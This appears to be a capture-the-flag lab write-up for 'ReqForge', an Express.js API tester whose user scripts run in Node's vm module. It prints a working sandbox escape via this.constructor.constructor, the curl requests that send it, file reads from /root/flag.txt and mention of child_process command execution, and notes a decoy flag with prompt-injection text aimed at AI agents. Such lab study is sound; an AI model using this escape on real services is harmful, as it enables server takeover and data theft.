Lab 129 — ReqForge — RCE via VM Sandbox Escape
Lab 129 — ReqForge — RCE via VM Sandbox Escape
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: constructor_chain_traversal, decoy_flag_identification, file_read_via_require_fs, prototype_chain_abuse, vm_sandbox_escape
Summary
Walkthrough of the CUSTOM Web Lab 129 — ReqForge — RCE via VM Sandbox Escape. Task: Express.js API testing platform executes user-supplied JavaScript in a Node.js vm sandbox for pre-request/post-response scripts. Solution: Escaped the vm sandbox via constructor chain traversal
Description
ReqForge is an API development and testing platform built by ForgeStack Inc. It allows developers to organize API endpoints into collections, send requests, and inspect responses. A key feature is the script editor, which lets users write pre-request and post-response scripts to automate workflows like setting headers, parsing responses, and chaining requests. The platform provides a sandboxed scripting environment with helper utilities for encoding, hashing, and data manipulation. Scripts execute in an isolated context with access to request and response objects. Your goal is to find and exploit a vulnerability in the scripting sandbox that allows you to escape the restricted environment and read a secret flag stored on the server.
English summary: An Express.js API testing platform with a workspace for building and sending HTTP requests. Users can write pre-request and post-response JavaScript scripts that execute server-side in a Node.js vm sandbox. The goal is to escape the sandbox and read the flag file from the server.
Analysis
Reconnaissance
- Stack: Express.js + Node.js
vmmodule + nginx - Credentials:
user@test.com/password123 - Key pages: Dashboard, Workspace, Collections, Scripts, Docs
- Key endpoint:
POST /api/execute— accepts JSON withmethod,url,headers,body,preScript,postScript - Frontend source (
/js/workspace.js) reveals the API contract and script execution flow
Application Features
The Workspace page provides:
- Request builder — method selector, URL input, headers, body
- Pre-request Script tab — JavaScript executed before the request is sent
- Post-response Script tab — JavaScript executed after the response is received
- Console output — displays
console.log()output from scripts
Sandbox Environment
The Docs page documents the sandbox context:
console— logging (output returned in responselogsarray)helpers— encoding/decoding/hashing utilitiessetVar/getVar— variable storage between scriptsassert— assertion helpersrequest/response— HTTP request/response objects- Scripts have a 5-second timeout limit
Honeypot Detection
HTML comments contained FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} with prompt injection text designed to trick automated scanners and AI agents. This was identified and ignored.
Vulnerability Identification
Node.js vm module is not a security sandbox. From the official Node.js documentation:
"The vm module is not a security mechanism. Do not use it to run untrusted code."
The fundamental issue: objects created inside a vm sandbox inherit their prototype chain from the main (host) context. The this object inside the sandbox has a constructor property pointing to Object in the main context. Since Object is itself a function, its constructor is Function — which can create and execute arbitrary functions in the main context, completely bypassing the sandbox.
Constructor Chain Traversal
The escape chain works as follows:
this → sandbox context object
.constructor → Object (from main context)
.constructor → Function (from main context)
("return this.process") → creates function in main context
() → executes it, returns real process object
Once you have process, you have full access to Node.js:
process.mainModule.require("fs")— load any Node.js modulefs.readFileSync("/root/flag.txt")— read arbitrary filesprocess.mainModule.require("child_process").execSync("cmd")— execute system commands
Solution
Step 1: Authentication
Login to the application with the provided credentials:
bash read-only • copy allowedcurl -s -c cookies.txt -X POST 'https://TARGET/login' \ -H 'Content-Type: application/json' \ -d '{"email":"user@test.com","password":"password123"}'
Step 2: VM Sandbox Escape
Send the sandbox escape payload as a pre-request script via the /api/execute endpoint:
bash read-only • copy allowedcurl -s -b cookies.txt -X POST 'https://TARGET/api/execute' \ -H 'Content-Type: application/json' \ -d '{ "method": "GET", "url": "http://localhost:8080/api/sample/status", "headers": {}, "body": "", "preScript": "const process = this.constructor.constructor(\"return this.process\")();\nconst fs = process.mainModule.require(\"fs\");\nconst flag = fs.readFileSync(\"/root/flag.txt\", \"utf8\");\nconsole.log(\"FLAG: \" + flag);", "postScript": "" }'
Payload Breakdown
javascript read-only • copy allowed// Step 1: Escape the vm sandbox via constructor chain const process = this.constructor.constructor("return this.process")(); // Step 2: Load the filesystem module from the main context const fs = process.mainModule.require("fs"); // Step 3: Read the flag file const flag = fs.readFileSync("/root/flag.txt", "utf8"); // Step 4: Output via console (returned in response logs array) console.log("FLAG: " + flag);
Why this works:
this.constructor— in the sandbox,thisis the sandbox context object. Its constructor isObject, which lives in the main V8 context (not the sandbox)..constructor—Object's constructor isFunction, also in the main context.("return this.process")— callingFunction()as a constructor creates a new function. Crucially, this function's scope is the main context's global scope, not the sandbox.()— executing this function returnsthis.processfrom the main global scope — the real Node.jsprocessobject.process.mainModule.require("fs")— with the realprocessobject, we canrequire()any module, completely outside the sandbox.
Response
json read-only • copy allowed{ "response": { "status": 200, "statusText": "OK", "headers": { "..." }, "data": { "..." } }, "logs": ["FLAG: FLAG{REDACTED}\n"], "variables": {} }
The flag appears in the logs array, confirming successful sandbox escape and file read.
Key Takeaways / Lessons
- Mastering constructor_chain_traversal, decoy_flag_identification, file_read_via_require_fs, prototype_chain_abuse, vm_sandbox_escape was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-14 • CUSTOM • Lab 129 — ReqForge — RCE via VM Sandbox Escape • Difficulty: Medium